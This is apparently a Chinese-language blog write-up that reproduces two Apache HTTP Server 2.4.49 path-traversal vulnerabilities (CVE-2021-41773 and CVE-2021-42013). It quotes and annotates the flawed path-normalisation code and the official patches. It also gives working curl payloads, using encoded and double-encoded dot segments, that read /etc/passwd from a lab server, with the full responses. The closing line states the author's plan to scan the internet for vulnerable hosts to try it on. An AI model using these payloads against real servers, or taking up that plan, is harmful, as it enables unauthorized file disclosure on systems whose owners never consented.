CVE-2021-41773 && CVE-2021-42013拆解復現
阿新 • • 發佈:2022-03-17
CVE-2021-41773 && CVE-2021-42013
參考了這個師傅的WP https://www.jianshu.com/p/3076d9ec68cf
CVE-2021-41773
漏洞成因
Apache HTTP Server 2.4.49版本使用的ap_normalize_path函式在對路徑做過濾的時候沒有過濾乾淨。
ap_normalize_path函式如下
/* * Inspired by mod_jk's jk_servlet_normalize(). */ AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags) { int ret = 1; apr_size_t l = 1, w = 1; if (!IS_SLASH(path[0])) { /* Besides "OPTIONS *", a request-target should start with '/' * per RFC 7230 section 5.3, so anything else is invalid. */ if (path[0] == '*' && path[1] == '\0') { return 1; } /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass * this restriction (e.g. for subrequest file lookups). */ if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') { return 0; } l = w = 0; } // 遍歷路徑字串,一邊做url解碼一邊檢測 '..',出現漏洞。 while (path[l] != '\0') { /* RFC-3986 section 2.3: * For consistency, percent-encoded octets in the ranges of * ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D), * period (%2E), underscore (%5F), or tilde (%7E) should [...] * be decoded to their corresponding unreserved characters by * URI normalizers. */ // 這一段是在做URL解碼 // 檢測到當前位為‘%’,接下來兩位為十六進位制數字就進入if if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) && path[l] == '%' && apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) { const char c = x2c(&path[l + 1]); // 將url編碼轉換為字元(16進位制轉char) if (apr_isalnum(c) || (c && strchr("-._~", c))) { /* Replace last char and fall through as the current * read position */ l += 2; path[l] = c; } } if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') { do { l++; } while (!IS_SLASH_OR_NUL(path[l])); continue; } // 如果path[0]不是斜槓,且不是* 或者空串,w就會置為0。 // 如果w = 0 或者 paht[0]是斜槓,就進入迴圈。 if (w == 0 || IS_SLASH(path[w - 1])) { /* Collapse ///// sequences to / */ //跳過連續的斜槓 if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) { do { l++; } while (IS_SLASH(path[l])); continue; } //如果檢測到點號 if (path[l] == '.') { /* Remove /./ segments */ if (IS_SLASH_OR_NUL(path[l + 1])) { l++; if (path[l]) { l++; } continue; } /* Remove /xx/../ segments */ // 如果點號的下一個還是點號,就要刪一點了 if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) { /* Wind w back to remove the previous segment */ if (w > 1) { do { w--; } while (w && !IS_SLASH(path[w - 1])); } else { /* Already at root, ignore and return a failure * if asked to. */ if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) { ret = 0; } } /* Move l forward to the next segment */ l += 2; if (path[l]) { l++; } continue; } } } path[w++] = path[l++]; } path[w] = '\0'; return ret; }
可以看到,漏洞的產生原因是其遍歷一整個路徑字串,對每一位,先進行url解碼,然後檢測是不是當前位和下一位的組合是不是兩個點..
他能檢測出的情況如下
..
%2e. // 正在處理第一位,解碼後發現是..組合
然而如果遇到這種情況
.%2e // 解碼第一位,仍然是.%2e,沒有檢測到..組合
%2e%2e // 解碼第一位,解成.%2e,仍然無法檢測到..組合
payload
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd // 這裡可以使用.%2e也可以使用%2e%2e C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd * Trying 10.10.10.131:8080... * Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0) > GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 > Host: 10.10.10.131:8080 > User-Agent: curl/7.79.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 17 Mar 2022 01:56:25 GMT < Server: Apache/2.4.49 (Debian) < Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT < ETag: "39a-5d908bac52000" < Accept-Ranges: bytes < Content-Length: 922 < root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin * Connection #0 to host 10.10.10.131 left intact C:\Users\19300>
修復
這裡如果遍歷兩次字串,先整體url解碼,全部解碼完了再進行敏感字串檢測就可以規避這個漏洞。這裡原函式為了追求效率,在一遍遍歷中對每個字串解碼再檢測,反而出現了漏洞,可謂是得不償失。
官方修復如下,直接是對這個情況做了一個特例處理。。俺沒有開發經驗,不敢亂說。
/* Remove /xx/../ segments (or /xx/.%2e/ when * AP_NORMALIZE_DECODE_UNRESERVED is set since we * decoded only the first dot above). */ n = l + 1; if ((path[n] == '.' || (decode_unreserved && path[n] == '%' && path[++n] == '2' && (path[++n] == 'e' || path[n] == 'E'))) && IS_SLASH_OR_NUL(path[n + 1])) { /* Wind w back to remove the previous segment */ if (w > 1) { do { w--; } while (w && !IS_SLASH(path[w - 1])); } else { /* Already at root, ignore and return a failure * if asked to. */ if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) { ret = 0; } } /* Move l forward to the next segment */ l = n + 1; if (path[l]) { l++; } continue; }
CVE-2021-42013
Apache使用函式 ap_process_request_internal來處理外部請求
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
.....
//呼叫 ap_normalize_path ,先對字串進行解碼。
if (r->parsed_uri.path) {
/* Normalize: remove /./ and shrink /../ segments, plus
* decode unreserved chars (first time only to avoid
* double decoding after ap_unescape_url() below).
*/
if (!ap_normalize_path(r->parsed_uri.path,
normalize_flags |
AP_NORMALIZE_DECODE_UNRESERVED)) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
"invalid URI path (%s)", r->unparsed_uri);
return HTTP_BAD_REQUEST;
}
}
.....
// 再呼叫 ap_unescape_url,對字串解碼過濾。
/* Ignore URL unescaping for translated URIs already */
if (access_status != DONE && r->parsed_uri.path) {
core_dir_config *d = ap_get_core_module_config(r->per_dir_config);
if (d->allow_encoded_slashes) {
access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
d->decode_encoded_slashes);
}
else {
access_status = ap_unescape_url(r->parsed_uri.path);
}
if (access_status) {
if (access_status == HTTP_NOT_FOUND) {
if (! d->allow_encoded_slashes) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
"found %%2f (encoded '/') in URI path (%s), "
"returning 404", r->unparsed_uri);
}
}
return access_status;
}
.....
}
.....
開發為了保險起見,反覆解碼過濾,但是這反而弄巧成拙,造成二次編碼注入。
%32e --> %2e --> .
%32 = 2
%2e = .
Payload
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
* Trying 10.10.10.131:8080...
* Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0)
> GET /icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd HTTP/1.1
> Host: 10.10.10.131:8080
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Mar 2022 05:09:50 GMT
< Server: Apache/2.4.49 (Debian)
< Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT
< ETag: "39a-5d908bac52000"
< Accept-Ranges: bytes
< Content-Length: 922
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.10.10.131 left intact
修復
2.4.51版本中採用了白名單的機制,在ap_normalize_path中加強了對url編碼的校驗,只允許數字、字母及特定的符號編碼,如果是白名單以外的url編碼,就直接報錯,不繼續搞了
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
//就只允許上面註釋寫到的內容,如果存在這以外的內容,就直接報錯。
if (decode_unreserved && path[l] == '%') {
if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (TEST_CHAR(c, T_URI_UNRESERVED)) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
else {
/* Invalid encoding */
ret = 0;
}
}
心得
這是我第一次復現CVE漏洞,對我還是有一些難度的,但後來查了下,發現有別人復現拆解過的文章,學習了他們的文章,我分析起來難度大大減小了,感覺很不錯,很有成就感。(準備網路測繪找幾個倒黴蛋試試 :-)